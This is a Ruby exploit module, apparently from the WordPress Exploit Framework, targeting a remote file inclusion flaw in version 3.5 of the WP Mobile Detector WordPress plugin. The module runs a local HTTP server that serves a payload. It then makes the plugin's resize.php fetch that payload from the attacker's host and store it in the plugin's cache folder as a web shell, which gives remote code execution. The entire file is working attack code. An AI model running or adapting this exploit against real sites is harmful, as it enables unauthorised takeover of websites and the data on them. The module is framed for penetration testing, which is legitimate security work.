# frozen_string_literal: true

class Wpxf::Exploit::WpMobileDetectorRfiShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpServer
  include Wpxf::WordPress::ShellUpload

  def initialize
    super

    update_info(
      name: 'WP Mobile Detector RFI Shell Upload',
      desc: 'The WP Mobile Detector plugin, in version 3.5, '\
            'allows for remote file inclusion and remote code execution via '\
            'the resize.php script. This exploit only works when the PHP '\
            'option "allow_url_fopen" is enabled (disabled by default in most cases).',
      author: [
        'White Fir Design', # Vulnerability disclosure
        'rastating'         # WPXF module
      ],
      references: [
        ['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/'],
        ['WPVDB', '8505']
      ],
      date: 'May 31 2016'
    )

    register_options([
      StringOption.new(
        name: 'rfi_host',
        desc: 'The external address of this machine',
        required: true
      ),
      StringOption.new(
        name: 'rfi_path',
        desc: 'The path to access via the remote file inclusion request',
        default: Utility::Text.rand_alpha(8),
        required: true
      )
    ])
  end

  def plugin_url
    normalize_uri(wordpress_url_plugins, 'wp-mobile-detector')
  end

  def check
    check_plugin_version_from_readme('wp-mobile-detector', '3.6', '3.5')
  end

  def rfi_host
    normalized_option_value('rfi_host')
  end

  def rfi_path
    normalized_option_value('rfi_path')
  end

  def rfi_url
    "http://#{rfi_host}:#{http_server_bind_port}/#{rfi_path}/#{payload_name}"
  end

  def on_http_request(path, params, headers)
    payload.encoded
  end

  def uploader_url
    normalize_uri(plugin_url, 'resize.php')
  end

  def payload_body_builder
    builder = Utility::BodyBuilder.new
    builder.add_field('src', rfi_url)
    builder
  end

  def uploaded_payload_location
    normalize_uri(plugin_url, 'cache', payload_name)
  end

  def before_upload
    start_http_server(true)
    true
  end

  def cleanup
    stop_http_server
    super
  end
end
